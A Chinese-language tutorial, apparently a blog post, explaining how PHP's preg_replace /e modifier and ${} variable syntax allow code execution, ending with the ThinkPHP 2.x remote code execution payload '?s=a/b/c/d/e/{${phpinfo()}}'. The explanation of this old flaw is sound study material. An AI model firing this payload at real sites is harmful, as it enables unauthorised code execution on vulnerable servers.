1 2
| $array = ['abbr','sdjsl','ss']; implode("",$array);
|
此函数负责把数组连接起来,放到新的双引号里。
正则表达式\w表示匹配字母数字下划线,也就是
\S表示匹配非空白符号,注意这里是大写,小写\s表示匹配空白符号,即space。
1 2 3 4 5 6 7 8 9 10 11
| <?php function test($str) { echo "This func is run $str"; }
$a = 'test("\1")'; $b = 'aaa$caaa'; $c = 'CXS';
echo preg_replace("/aaa(.+?)aaa/ies",$a,$b);
|
运行结果:
1 2
| This func is run CXS Process finished with exit code 0
|
在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称呢?那么这个函数就会被执行,具体例子我们可以参考如下这个例子。
1 2 3 4 5 6 7 8 9
| <?php echo phpversion(); echo "\n"; $a = "CXK";
echo "aaaaa{${a}}aaaaa"; echo "\n"; echo "aaaaa{${phpversion()}}aaaaa";
|
1 2 3 4 5 6 7
| <?php $var = array(); $a = '$var[\'\\1\']="\\2";'; $b = 'a/b/c/d/f'; preg_replace("/(\w+)\/([^\/])/ies",$a, $b);
print_r($var);
|
1 2 3 4 5 6 7
| <?php $var = array(); $a = '$var[\'\\1\']="\\2";'; $b = "a/{${phpversion()}}/c/d/e/f"; preg_replace("/(\w+)\/([^\/])/ies",$a, $b);
print_r($var);
|
所以对于thinkphp2.x我们直接执行
1
| ?s=a/b/c/d/e/{${phpinfo()}}
|
即可!